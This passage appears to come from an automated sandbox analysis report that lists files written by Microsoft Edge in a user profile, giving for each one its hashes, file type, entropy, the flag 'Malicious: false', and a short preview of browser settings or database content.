C:\Users\user\AppData\Local\Microsoft\Edge\User Data\Default\453e6eab-fd6c-4156-bef3-bfd6643d6b0b.tmp

Download File

Process:	C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe
File Type:	JSON data
Category:	dropped
Size (bytes):	13003
Entropy (8bit):	5.154859990999078
Encrypted:	false
SSDEEP:	192:sVaJ9pQTryZioo7ba4uygJ+PbqrIwjYB358tpj+FVAgOMLC1f:sVaLAo2upJ+P2rIspUV9OMo
MD5:	B7734D7E1323F3008AD62014A4926823
SHA1:	0413CB5D98C3A4AB6E158B0F66CBAD19C61ED03E
SHA-256:	C0CB88CA10107071A1805C41B2EFDF2E6BD43F98AD39C4E1772B29C081D3437E
SHA-512:	E49BBBC93EB2A311BDDBF3DEF8BF728126BEA71F73C47B060F6488247A529C2057ED522ECE2508BFBC002E6E1AC2DBD1DCC87ECAC0201F34433C736C7EFBDA7E
Malicious:	false
Preview:	{"aadc_info":{"age_group":0},"account_id_migration_state":2,"account_tracker_service_last_update":"13378835660643250","alternate_error_pages":{"backup":true},"apps":{"shortcuts_arch":"","shortcuts_version":0},"arbitration_using_experiment_config":false,"autocomplete":{"retention_policy_last_version":117},"browser":{"available_dark_theme_options":"All","has_seen_welcome_page":false,"history_in_shoreline_activated":true,"hub_app_non_synced_preferences":{"apps":{"06be1ebe-f23a-4bea-ae45-3120ad86cfea":{"last_path":""},"0c835d2d-9592-4c7a-8d0a-0e283c9ad3cd":{"last_path":""},"168a2510-04d5-473e-b6a0-828815a7ca5f":{"last_path":""},"1ec8a5a9-971c-4c82-a104-5e1a259456b8":{"last_path":""},"2354565a-f412-4654-b89c-f92eaa9dbd20":{"last_path":""},"25fe2d1d-e934-482a-a62f-ea1705db905d":{"last_path":""},"35a43603-bb38-4b53-ba20-932cb9117794":{"last_path":""},"380c71d3-10bf-4a5d-9a06-c932e4b7d1d8":{"last_path":""},"3a2f4dee-d482-4ef8-baef-cb22b649608c":{"last_path":""},"3b5ee6f6-5322-4061-81e4-d976818

C:\Users\user\AppData\Local\Microsoft\Edge\User Data\Default\5e0d1ef8-b274-48fa-aac7-17e6be339b97.tmp

Download File

Process:	C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe
File Type:	JSON data
Category:	dropped
Size (bytes):	13730
Entropy (8bit):	5.2245414661932745
Encrypted:	false
SSDEEP:	192:sVaJ9pQTryZioo7ba4uygJ+PbqrIwQDwcMYB358tpj+FVAtO3LC1f:sVaLAo2upJ+P2rIVEcopUVMO3o
MD5:	80C61ECBC7D10DABDACD5F018A883D4D
SHA1:	FB573714E900C8A812E42D982879D26E456FD56B
SHA-256:	60741C865EB93EB3691CBD14CAA4E265DCF80EF1410C895147E7EEF317981346
SHA-512:	1A39ED6B7A5F7D62C89B8D75433B00C4A1C3EE9AE8813B4E2D07748A3AC073ACDED579ED13120A022047B0E3A6715A32582E8BE694163F2B80903C8824A40EB2
Malicious:	false
Preview:	{"aadc_info":{"age_group":0},"account_id_migration_state":2,"account_tracker_service_last_update":"13378835660643250","alternate_error_pages":{"backup":true},"apps":{"shortcuts_arch":"","shortcuts_version":0},"arbitration_using_experiment_config":false,"autocomplete":{"retention_policy_last_version":117},"browser":{"available_dark_theme_options":"All","has_seen_welcome_page":false,"history_in_shoreline_activated":true,"hub_app_non_synced_preferences":{"apps":{"06be1ebe-f23a-4bea-ae45-3120ad86cfea":{"last_path":""},"0c835d2d-9592-4c7a-8d0a-0e283c9ad3cd":{"last_path":""},"168a2510-04d5-473e-b6a0-828815a7ca5f":{"last_path":""},"1ec8a5a9-971c-4c82-a104-5e1a259456b8":{"last_path":""},"2354565a-f412-4654-b89c-f92eaa9dbd20":{"last_path":""},"25fe2d1d-e934-482a-a62f-ea1705db905d":{"last_path":""},"35a43603-bb38-4b53-ba20-932cb9117794":{"last_path":""},"380c71d3-10bf-4a5d-9a06-c932e4b7d1d8":{"last_path":""},"3a2f4dee-d482-4ef8-baef-cb22b649608c":{"last_path":""},"3b5ee6f6-5322-4061-81e4-d976818

C:\Users\user\AppData\Local\Microsoft\Edge\User Data\Default\6f2a9949-43ac-4eb7-b064-7c6d12cdd32c.tmp

Download File

Process:	C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe
File Type:	JSON data
Category:	dropped
Size (bytes):	13768
Entropy (8bit):	5.223806951999115
Encrypted:	false
SSDEEP:	192:sVaJ9pQTryZioo7ba4uygJ+PbqrIwQDwcMYB358tpj+FVANO4LC1f:sVaLAo2upJ+P2rIVEcopUV0O4o
MD5:	2CED3CA84C20C47E6E7AD4AD59A2CEDF
SHA1:	BAD9A0E6F0C5E2333E3D5A83C59515EC64D9E4E9
SHA-256:	26416DC95DCB263BA27873818D173A8BE66EC139121F82EC95C96BF88C15B3E9
SHA-512:	643608A4AAB517410521EDE60234D931B84C52F9E436D3AE2933EC541D45519773CA570CFDAD4D2112C28AA2A2A4099D0020A03737E9EF166DC70744920FFBD7
Malicious:	false
Preview:	{"aadc_info":{"age_group":0},"account_id_migration_state":2,"account_tracker_service_last_update":"13378835660643250","alternate_error_pages":{"backup":true},"apps":{"shortcuts_arch":"","shortcuts_version":0},"arbitration_using_experiment_config":false,"autocomplete":{"retention_policy_last_version":117},"browser":{"available_dark_theme_options":"All","has_seen_welcome_page":false,"history_in_shoreline_activated":true,"hub_app_non_synced_preferences":{"apps":{"06be1ebe-f23a-4bea-ae45-3120ad86cfea":{"last_path":""},"0c835d2d-9592-4c7a-8d0a-0e283c9ad3cd":{"last_path":""},"168a2510-04d5-473e-b6a0-828815a7ca5f":{"last_path":""},"1ec8a5a9-971c-4c82-a104-5e1a259456b8":{"last_path":""},"2354565a-f412-4654-b89c-f92eaa9dbd20":{"last_path":""},"25fe2d1d-e934-482a-a62f-ea1705db905d":{"last_path":""},"35a43603-bb38-4b53-ba20-932cb9117794":{"last_path":""},"380c71d3-10bf-4a5d-9a06-c932e4b7d1d8":{"last_path":""},"3a2f4dee-d482-4ef8-baef-cb22b649608c":{"last_path":""},"3b5ee6f6-5322-4061-81e4-d976818

C:\Users\user\AppData\Local\Microsoft\Edge\User Data\Default\76e650fc-a651-479e-9c67-2dc5748496db.tmp

Download File

Process:	C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe
File Type:	ASCII text, with very long lines (1597), with CRLF line terminators
Category:	dropped
Size (bytes):	115717
Entropy (8bit):	5.183660917461099
Encrypted:	false
SSDEEP:	1536:utDURN77GZqW3v6PD/469IxVBmB22q7LRks3swn0:utAaE2Jt0
MD5:	3D8183370B5E2A9D11D43EBEF474B305
SHA1:	155AB0A46E019E834FA556F3D818399BFF02162B
SHA-256:	6A30BADAD93601FC8987B8239D8907BCBE65E8F1993E4D045D91A77338A2A5B4
SHA-512:	B7AD04F10CD5DE147BDBBE2D642B18E9ECB2D39851BE1286FDC65FF83985EA30278C95263C98999B6D94683AE1DB86436877C30A40992ACA1743097A2526FE81
Malicious:	false
Preview:	{.. "current_locale": "en-GB",.. "hub_apps": [ {.. "auto_show": {.. "enabled": true,.. "fre_notification": {.. "enabled": true,.. "header": "Was opening this pane helpful to you?",.. "show_count": 2,.. "text": "Was opening this pane helpful to you?".. },.. "settings_description": "We'll automatically open Bing Chat in the sidebar to show you relevant web experiences alongside your web content",.. "settings_title": "Automatically open Bing Chat in the sidebar",.. "triggering_configs\|flight:msHubAppsMsnArticleAutoShowTriggering": [ {.. "show_count_basis": "signal",.. "signal_name": "IsMsnArticleAutoOpenFromP1P2",.. "signal_threshold": 0.5.. } ],.. "triggering_configs\|flight:msUndersidePersistentChat": [ {.. "signal_name": "IsUndersidePersistentChatLink",.. "signal_threshold": 0.5.. } ],.. "triggering_co

C:\Users\user\AppData\Local\Microsoft\Edge\User Data\Default\934ec639-7c29-4eb3-aa7b-0056e282ef7b.tmp

Download File

Process:	C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe
File Type:	JSON data
Category:	dropped
Size (bytes):	9315
Entropy (8bit):	4.930775949470461
Encrypted:	false
SSDEEP:	96:sV2Sz76J18Vb96cPJYB3585Th6Cp9/x+6M8muecmAeCvfe4zvrL2VHQyV0E5AtE7:sV2SqJ+PJYB358Ppj+FVADLC1f
MD5:	8EC2CA07640A6158F01E0EB7F972CCD2
SHA1:	6023731F2AA02D52F6D34354E0F404C22B52B8E1
SHA-256:	00D04C9EB8E5C2B224CBB1D310A82822BDF4AA1805805A4D25E7AA34CA008143
SHA-512:	25EA34350AFD26FC7E1AC2D1FE8506CE8F6AEA2E79A11556533F2B32B4571A07B02CF58B9636B996A7D6C0EC964281EAA376EF9A5FE371BDCFBFB66C8ED53BD4
Malicious:	false
Preview:	{"aadc_info":{"age_group":0},"account_id_migration_state":2,"account_tracker_service_last_update":"13378835660643250","alternate_error_pages":{"backup":true},"apps":{"shortcuts_arch":"","shortcuts_version":0},"arbitration_using_experiment_config":false,"browser":{"available_dark_theme_options":"All","has_seen_welcome_page":false,"toolbar_extensions_hub_button_visibility":0,"underside_chat_bing_signed_in_status":false,"window_placement":{"bottom":974,"left":10,"maximized":true,"right":1060,"top":10,"work_area_bottom":984,"work_area_left":0,"work_area_right":1280,"work_area_top":0}},"browser_content_container_height":1023,"browser_content_container_width":1280,"browser_content_container_x":0,"browser_content_container_y":0,"continuous_migration":{"ci_correction_for_holdout_treatment_state":1},"countryid_at_install":17224,"custom_links":{"list":[]},"data_reduction":{"daily_original_length":["0","0","0","0","0","0","0","0","0","0","0","0","0","0","0","0","0","0","0","0","0","0","0","0","0"

C:\Users\user\AppData\Local\Microsoft\Edge\User Data\Default\94f26269-a624-4ba0-932b-ee746a75c5b8.tmp

Download File

Process:	C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe
File Type:	very short file (no magic)
Category:	dropped
Size (bytes):	1
Entropy (8bit):	0.0
Encrypted:	false
SSDEEP:	3:L:L
MD5:	5058F1AF8388633F609CADB75A75DC9D
SHA1:	3A52CE780950D4D969792A2559CD519D7EE8C727
SHA-256:	CDB4EE2AEA69CC6A83331BBE96DC2CAA9A299D21329EFB0336FC02A82E1839A8
SHA-512:	0B61241D7C17BCBB1BAEE7094D14B7C451EFECC7FFCBD92598A0F13D313CC9EBC2A07E61F007BAF58FBF94FF9A8695BDD5CAE7CE03BBF1E94E93613A00F25F21
Malicious:	false
Preview:	.

C:\Users\user\AppData\Local\Microsoft\Edge\User Data\Default\Asset Store\assets.db\000001.dbtmp

Download File

Process:	C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe
File Type:	ASCII text
Category:	dropped
Size (bytes):	16
Entropy (8bit):	3.2743974703476995
Encrypted:	false
SSDEEP:	3:1sjgWIV//Uv:1qIFUv
MD5:	46295CAC801E5D4857D09837238A6394
SHA1:	44E0FA1B517DBF802B18FAF0785EEEA6AC51594B
SHA-256:	0F1BAD70C7BD1E0A69562853EC529355462FCD0423263A3D39D6D0D70B780443
SHA-512:	8969402593F927350E2CEB4B5BC2A277F3754697C1961E3D6237DA322257FBAB42909E1A742E22223447F3A4805F8D8EF525432A7C3515A549E984D3EFF72B23
Malicious:	false
Preview:	MANIFEST-000001.

C:\Users\user\AppData\Local\Microsoft\Edge\User Data\Default\Asset Store\assets.db\000003.log

Download File

Process:	C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe
File Type:	data
Category:	modified
Size (bytes):	1695826
Entropy (8bit):	5.041126352814735
Encrypted:	false
SSDEEP:	24576:qPfQUg6kAdRhiGzmYoAo2ENU0ifYeV3br2M:qPfZ/mS5
MD5:	60AE2CC27D4E04FB6B798940F3D0C4FF
SHA1:	5FFD0B898DD605FA112FD7A4EA1908507A694D08
SHA-256:	37C7D6CEA0F01240F5459199BAF8CDC1972E7C76AE9C5DA59D8CAEB34004809A
SHA-512:	317412BF345DA1F00173A93F87C8926D78703E65165E96019FB5F7F6F0CE2A84F27764F263F4C4293361174E32DDF40D52B670FCF7F5A4442DE18263175F1727
Malicious:	false
Preview:	...m.................DB_VERSION.1j.^..................QUERY_TIMESTAMP:arbitration_priority_list4...13378835666213317.$QUERY:arbitration_priority_list4....[{"name":"arbitration_priority_list","url":"https://edgeassetservice.azureedge.net/assets/arbitration_priority_list/4.0.5/asset?assetgroup=ArbitrationService","version":{"major":4,"minor":0,"patch":5},"hash":"2DPW9BV28WrPpgGHdKsEvldNQvD7dA0AAxPa3B/lKN0=","size":11989}]CkRd.................QUERY_TIMESTAMP:edge_hub_apps_manifest_gz4.7..13378835666971656.$QUERY:edge_hub_apps_manifest_gz4.7...[{"name":"edge_hub_apps_manifest_gz","url":"https://edgeassetservice.azureedge.net/assets/edge_hub_apps_manifest_gz/4.7.107/asset?assetgroup=Shoreline","version":{"major":4,"minor":7,"patch":107},"hash":"Qoxdh2pZS19o99emYo77uFsfzxtXVDB75kV6eln53YE=","size":1682291}]=_.../..............'ASSET_VERSION:arbitration_priority_list.4.0.5..ASSET:arbitration_priority_list.]{.. "configVersion": 32,.. "PrivilegedExperiences": [.. "ShorelinePrivileged

C:\Users\user\AppData\Local\Microsoft\Edge\User Data\Default\Asset Store\assets.db\CURRENT (copy)

Download File

Process:	C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe
File Type:	ASCII text
Category:	dropped
Size (bytes):	16
Entropy (8bit):	3.2743974703476995
Encrypted:	false
SSDEEP:	3:1sjgWIV//Uv:1qIFUv
MD5:	46295CAC801E5D4857D09837238A6394
SHA1:	44E0FA1B517DBF802B18FAF0785EEEA6AC51594B
SHA-256:	0F1BAD70C7BD1E0A69562853EC529355462FCD0423263A3D39D6D0D70B780443
SHA-512:	8969402593F927350E2CEB4B5BC2A277F3754697C1961E3D6237DA322257FBAB42909E1A742E22223447F3A4805F8D8EF525432A7C3515A549E984D3EFF72B23
Malicious:	false
Preview:	MANIFEST-000001.

C:\Users\user\AppData\Local\Microsoft\Edge\User Data\Default\Asset Store\assets.db\LOG

Download File

Process:	C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe
File Type:	ASCII text
Category:	dropped
Size (bytes):	293
Entropy (8bit):	5.085573826906921
Encrypted:	false
SSDEEP:	6:7GD1wkn23oH+Tcwt9Eh1ZB2KLlpJKFX++q2Pwkn23oH+Tcwt9Eh1tIFUv:7GyfYeb9Eh1ZFLTYFfvYfYeb9Eh16FUv
MD5:	6F12CF1824467105EABE4FC7F4AD8F6C
SHA1:	6A862D7D3BD9EA2A7F459F8D5FF4E6D232DFF922
SHA-256:	C0DE35203780F55EE035490F0C6150FAA72A1216C656379FEBBB37DB443486A2
SHA-512:	FA3A5F041FA20BBD399C84285A1379A31D73703FC063E064416834D9319DCE82CC04F72F4C5426DC26A85183A8119D3F89CA0E2D412BCACFC9FB802B45C2CE41
Malicious:	false
Preview:	2024/12/16-10:14:24.236 21b8 Creating DB C:\Users\user\AppData\Local\Microsoft\Edge\User Data\Default\Asset Store\assets.db since it was missing..2024/12/16-10:14:24.316 21b8 Reusing MANIFEST C:\Users\user\AppData\Local\Microsoft\Edge\User Data\Default\Asset Store\assets.db/MANIFEST-000001.

C:\Users\user\AppData\Local\Microsoft\Edge\User Data\Default\Asset Store\assets.db\MANIFEST-000001

Download File

Process:	C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe
File Type:	OpenPGP Secret Key
Category:	dropped
Size (bytes):	41
Entropy (8bit):	4.704993772857998
Encrypted:	false
SSDEEP:	3:scoBAIxQRDKIVjn:scoBY7jn
MD5:	5AF87DFD673BA2115E2FCF5CFDB727AB
SHA1:	D5B5BBF396DC291274584EF71F444F420B6056F1
SHA-256:	F9D31B278E215EB0D0E9CD709EDFA037E828F36214AB7906F612160FEAD4B2B4
SHA-512:	DE34583A7DBAFE4DD0DC0601E8F6906B9BC6A00C56C9323561204F77ABBC0DC9007C480FFE4092FF2F194D54616CAF50AECBD4A1E9583CAE0C76AD6DD7C2375B
Malicious:	false
Preview:	.\|.."....leveldb.BytewiseComparator......

C:\Users\user\AppData\Local\Microsoft\Edge\User Data\Default\AssistanceHome\AssistanceHomeSQLite

Download File

Process:	C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe
File Type:	SQLite 3.x database, last written using SQLite version 3042000, file counter 1, database pages 3, cookie 0x1, schema 4, UTF-8, version-valid-for 1
Category:	dropped
Size (bytes):	12288
Entropy (8bit):	0.3202460253800455
Encrypted:	false
SSDEEP:	6:l9bNFlEuWk8TRH9MRumWEyE4gLueXdNOmWxFxCxmWxYgCxmW5y/mWz4ynLAtD/W4:TLiuWkMORuHEyESeXdwDQ3SOAtD/ie
MD5:	40B18EC43DB334E7B3F6295C7626F28D
SHA1:	0E46584B0E0A9703C6B2EC1D246F41E63AF2296F
SHA-256:	85E961767239E90A361FB6AA0A3FD9DAA57CAAF9E30599BB70124F1954B751C8
SHA-512:	8BDACDC4A9559E4273AD01407D5D411035EECD927385A51172F401558444AD29B5AD2DC5562D1101244665EBE86BBDDE072E75ECA050B051482005EB6A52CDBD
Malicious:	false
Preview:	SQLite format 3......@ ..........................................................................j.....................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................

C:\Users\user\AppData\Local\Microsoft\Edge\User Data\Default\Collections\collectionsSQLite

Download File

Process:	C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe
File Type:	SQLite 3.x database, last written using SQLite version 3042000, file counter 34, database pages 18, cookie 0x19, schema 4, UTF-8, version-valid-for 34
Category:	dropped
Size (bytes):	73728
Entropy (8bit):	0.4947385728088827
Encrypted:	false
SSDEEP:	96:xR94jweGq2L4H7pgNPdQyoDbel9myJrDVb4:f94ZBS4FgNPdPl9myRDVb4
MD5:	29C9AF42D59BA452C914D337F83778D8
SHA1:	0D4075E73B0189BD28D6968499DCFDE5975116CB
SHA-256:	DFDAE22D17235546DAF4200A5920C46B10E0885D9A0BE747D3DE14F432817613
SHA-512:	DB03C53D1CC2AE5E1E7882437730454AC27842FE5211A6DBDBBB5131EB0D607DB5D2F26EADB08CD9BAD90FD93D6E04A2C27361FE5BD1B510467D2E9BAEF90FBE
Malicious:	false
Preview:	SQLite format 3......@ ..."..................................................................."..j....................0...{...h.6.~.%...U........................................................................................................................................................................................................................................................................................................................................................................G...##..Utablecollectionscollections.CREATE TABLE collections ( id LONGVARCHAR PRIMARY KEY, date_created REAL NOT NULL, date_modified REAL NOT NULL, title LONGVARCHAR NOT NULL, position INTEGER NOT NULL, is_syncable INTEGER DEFAULT 1, suggestion_url LONGVARCHAR, suggestion_dismissed INTEGER, suggestion_type INTEGER, thumbnail BLOB, is_custom_thumbnail INTEGER NOT NULL DEFAULT 0, tag LONGVARCHAR, thumbnail_url LONGVARCHAR, is_marked_for_deletion INTEGER)..........tableitemsitems.CREATE TABLE items

C:\Users\user\AppData\Local\Microsoft\Edge\User Data\Default\DIPS

Download File

Process:	C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe
File Type:	SQLite 3.x database, last written using SQLite version 3042000, file counter 1, database pages 7, cookie 0x3, schema 4, UTF-8, version-valid-for 1
Category:	dropped
Size (bytes):	28672
Entropy (8bit):	0.43508159006069336
Encrypted:	false
SSDEEP:	24:TLi5YFQq3qh7z3WMYziciNW9WkZ96UwOfBI:TouQq3qh7z3bY2LNW9WMcUvB
MD5:	F5237AED0F897E7619A94843845A3EC3
SHA1:	A0C752C9C28A753CFB051AACE2ADA78A6D1288C3
SHA-256:	D4463972AD7B1582F05C8E17074CE863D45CA625C2C672DB0D37F3AF4C7ACE42
SHA-512:	D3C9718794E455D415D8EDF23B576E0A70356B8D71B8DD374D25B8065FEF608E114E13395B4B54462739882A141F4DBE00E3A370D6E4160504428A849CC893A3
Malicious:	false
Preview:	SQLite format 3......@ ..........................................................................j..........g.....8...n................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................

C:\Users\user\AppData\Local\Microsoft\Edge\User Data\Default\DawnCache\data_0

Download File

Process:	C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe
File Type:	FoxPro FPT, blocks size 512, next free block index 3284796609, field type 0
Category:	dropped
Size (bytes):	8192
Entropy (8bit):	0.01057775872642915
Encrypted:	false
SSDEEP:	3:MsFl:/F
MD5:	CF89D16BB9107C631DAABF0C0EE58EFB
SHA1:	3AE5D3A7CF1F94A56E42F9A58D90A0B9616AE74B
SHA-256:	D6A5FE39CD672781B256E0E3102F7022635F1D4BB7CFCC90A80FFFE4D0F3877E
SHA-512:	8CB5B059C8105EB91E74A7D5952437AAA1ADA89763C5843E7B0F1B93D9EBE15ED40F287C652229291FAC02D712CF7FF5ECECEF276BA0D7DDC35558A3EC3F77B0
Malicious:	false
Preview:	............$...........................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................

C:\Users\user\AppData\Local\Microsoft\Edge\User Data\Default\DawnCache\data_1

Download File

Process:	C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe
File Type:	data
Category:	dropped
Size (bytes):	270336
Entropy (8bit):	8.280239615765425E-4
Encrypted:	false
SSDEEP:	3:MsEllllkEthXllkl2:/M/xT02
MD5:	D0D388F3865D0523E451D6BA0BE34CC4
SHA1:	8571C6A52AACC2747C048E3419E5657B74612995
SHA-256:	902F30C1FB0597D0734BC34B979EC5D131F8F39A4B71B338083821216EC8D61B
SHA-512:	376011D00DE659EB6082A74E862CFAC97A9BB508E0B740761505142E2D24EC1C30AA61EFBC1C0DD08FF0F34734444DE7F77DD90A6CA42B48A4C7FAD5F0BDDD17
Malicious:	false
Preview:	........................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................

C:\Users\user\AppData\Local\Microsoft\Edge\User Data\Default\DawnCache\data_2

Download File

Process:	C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe
File Type:	data
Category:	dropped
Size (bytes):	8192
Entropy (8bit):	0.011852361981932763
Encrypted:	false
SSDEEP:	3:MsHlDll:/H
MD5:	0962291D6D367570BEE5454721C17E11
SHA1:	59D10A893EF321A706A9255176761366115BEDCB
SHA-256:	EC1702806F4CC7C42A82FC2B38E89835FDE7C64BB32060E0823C9077CA92EFB7
SHA-512:	F555E961B69E09628EAF9C61F465871E6984CD4D31014F954BB747351DAD9CEA6D17C1DB4BCA2C1EB7F187CB5F3C0518748C339C8B43BBD1DBD94AEAA16F58ED
Malicious:	false
Preview:	........................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................

C:\Users\user\AppData\Local\Microsoft\Edge\User Data\Default\DawnCache\data_3

Download File

Process:	C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe
File Type:	data
Category:	dropped
Size (bytes):	8192
Entropy (8bit):	0.012340643231932763
Encrypted:	false
SSDEEP:	3:MsGl3ll:/y
MD5:	41876349CB12D6DB992F1309F22DF3F0
SHA1:	5CF26B3420FC0302CD0A71E8D029739B8765BE27
SHA-256:	E09F42C398D688DCE168570291F1F92D079987DEDA3099A34ADB9E8C0522B30C
SHA-512:	E9A4FC1F7CB6AE2901F8E02354A92C4AAA7A53C640DCF692DB42A27A5ACC2A3BFB25A0DE0EB08AB53983132016E7D43132EA4292E439BB636AAFD53FB6EF907E
Malicious:	false
Preview:	........................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................

C:\Users\user\AppData\Local\Microsoft\Edge\User Data\Default\DawnCache\index

Download File

Process:	C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe
File Type:	FoxPro FPT, blocks size 768, next free block index 3284796353, field type 0
Category:	dropped
Size (bytes):	262512
Entropy (8bit):	9.553120663130604E-4
Encrypted:	false
SSDEEP:	3:LsNl2:Ls32
MD5:	5D69DE425362056196F8BEE8ADDF765A
SHA1:	0B15DE0AD72EC58E6A785D378B60A0C5833896A3
SHA-256:	AA7662FCCDF4750B88A4F0B1796C33692BD51CE6248D9E698845D5312B4F065A
SHA-512:	E0317EFB05F36DCA3E482F345ACA1FA319866026FA7FD6637C14B88C8F4FD98AE06DF6EEB50322F714233118BEB16C4BAB4BED746E6AFE0B374E2E3496A7134A
Malicious:	false
Preview:	............................................../.........................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................

C:\Users\user\AppData\Local\Microsoft\Edge\User Data\Default\EdgeCoupons\coupons_data.db\000001.dbtmp

Download File

Process:	C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe
File Type:	ASCII text
Category:	dropped
Size (bytes):	16
Entropy (8bit):	3.2743974703476995
Encrypted:	false
SSDEEP:	3:1sjgWIV//Uv:1qIFUv
MD5:	46295CAC801E5D4857D09837238A6394
SHA1:	44E0FA1B517DBF802B18FAF0785EEEA6AC51594B
SHA-256:	0F1BAD70C7BD1E0A69562853EC529355462FCD0423263A3D39D6D0D70B780443
SHA-512:	8969402593F927350E2CEB4B5BC2A277F3754697C1961E3D6237DA322257FBAB42909E1A742E22223447F3A4805F8D8EF525432A7C3515A549E984D3EFF72B23
Malicious:	false
Preview:	MANIFEST-000001.

C:\Users\user\AppData\Local\Microsoft\Edge\User Data\Default\EdgeCoupons\coupons_data.db\000003.log

Download File

Process:	C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe
File Type:	data
Category:	dropped
Size (bytes):	33
Entropy (8bit):	3.5394429593752084
Encrypted:	false
SSDEEP:	3:iWstvhYNrkUn:iptAd
MD5:	F27314DD366903BBC6141EAE524B0FDE
SHA1:	4714D4A11C53CF4258C3A0246B98E5F5A01FBC12
SHA-256:	68C7AD234755B9EDB06832A084D092660970C89A7305E0C47D327B6AC50DD898
SHA-512:	07A0D529D9458DE5E46385F2A9D77E0987567BA908B53DDB1F83D40D99A72E6B2E3586B9F79C2264A83422C4E7FC6559CAC029A6F969F793F7407212BB3ECD51
Malicious:	false
Preview:	...m.................DB_VERSION.1

C:\Users\user\AppData\Local\Microsoft\Edge\User Data\Default\EdgeCoupons\coupons_data.db\CURRENT (copy)

Download File

Process:	C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe
File Type:	ASCII text
Category:	dropped
Size (bytes):	16
Entropy (8bit):	3.2743974703476995
Encrypted:	false
SSDEEP:	3:1sjgWIV//Uv:1qIFUv
MD5:	46295CAC801E5D4857D09837238A6394
SHA1:	44E0FA1B517DBF802B18FAF0785EEEA6AC51594B
SHA-256:	0F1BAD70C7BD1E0A69562853EC529355462FCD0423263A3D39D6D0D70B780443
SHA-512:	8969402593F927350E2CEB4B5BC2A277F3754697C1961E3D6237DA322257FBAB42909E1A742E22223447F3A4805F8D8EF525432A7C3515A549E984D3EFF72B23
Malicious:	false
Preview:	MANIFEST-000001.

C:\Users\user\AppData\Local\Microsoft\Edge\User Data\Default\EdgeCoupons\coupons_data.db\LOG

Download File

Process:	C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe
File Type:	ASCII text
Category:	dropped
Size (bytes):	303
Entropy (8bit):	5.191772473528966
Encrypted:	false
SSDEEP:	6:7rDmQERM1wkn23oH+TcwtnG2tbB2KLlpS1Oq2Pwkn23oH+TcwtnG2tMsIFUv:7HmQERrfYebn9VFLTCOvYfYebn9GFUv
MD5:	CC4EFA3823DA89966AF1D11AE2741C2B
SHA1:	A7B73AE4F6E65646C9123EB469C74583FD7BFF06
SHA-256:	4552F7EC099DC97F74900DCCF48AAB60EB56243E3905FF350B599A81CDE0076A
SHA-512:	C61125787B5E0A7BBEE9BAAE2229522B5999DCD1EBB8D71C37EEB63546FA342D919DC2E028D218355BF6182B17907F007A180F22405622E7E14BD7ABA8C1FEAE
Malicious:	false
Preview:	2024/12/16-10:14:19.999 fb4 Creating DB C:\Users\user\AppData\Local\Microsoft\Edge\User Data\Default\EdgeCoupons/coupons_data.db since it was missing..2024/12/16-10:14:20.156 fb4 Reusing MANIFEST C:\Users\user\AppData\Local\Microsoft\Edge\User Data\Default\EdgeCoupons/coupons_data.db/MANIFEST-000001.

C:\Users\user\AppData\Local\Microsoft\Edge\User Data\Default\EdgeCoupons\coupons_data.db\MANIFEST-000001

Download File

Process:	C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe
File Type:	OpenPGP Secret Key
Category:	dropped
Size (bytes):	41
Entropy (8bit):	4.704993772857998
Encrypted:	false
SSDEEP:	3:scoBAIxQRDKIVjn:scoBY7jn
MD5:	5AF87DFD673BA2115E2FCF5CFDB727AB
SHA1:	D5B5BBF396DC291274584EF71F444F420B6056F1
SHA-256:	F9D31B278E215EB0D0E9CD709EDFA037E828F36214AB7906F612160FEAD4B2B4
SHA-512:	DE34583A7DBAFE4DD0DC0601E8F6906B9BC6A00C56C9323561204F77ABBC0DC9007C480FFE4092FF2F194D54616CAF50AECBD4A1E9583CAE0C76AD6DD7C2375B
Malicious:	false
Preview:	.\|.."....leveldb.BytewiseComparator......

C:\Users\user\AppData\Local\Microsoft\Edge\User Data\Default\EdgeEDrop\EdgeEDropSQLite.db

Download File

Process:	C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe
File Type:	SQLite 3.x database, last written using SQLite version 3042000, file counter 14, database pages 8, cookie 0xe, schema 4, UTF-8, version-valid-for 14
Category:	dropped
Size (bytes):	32768
Entropy (8bit):	0.494709561094235
Encrypted:	false
SSDEEP:	24:TLEC30OIcqIn2o0FUFlA2cs0US5S693Xlej2:ThLaJUnAg0UB6I
MD5:	CF7760533536E2AF66EA68BC3561B74D
SHA1:	E991DE2EA8F42AE7E0A96A3B3B8AF87A689C8CCD
SHA-256:	E1F183FAE5652BA52F5363A7E28BF62B53E7781314C9AB76B5708AF9918BE066
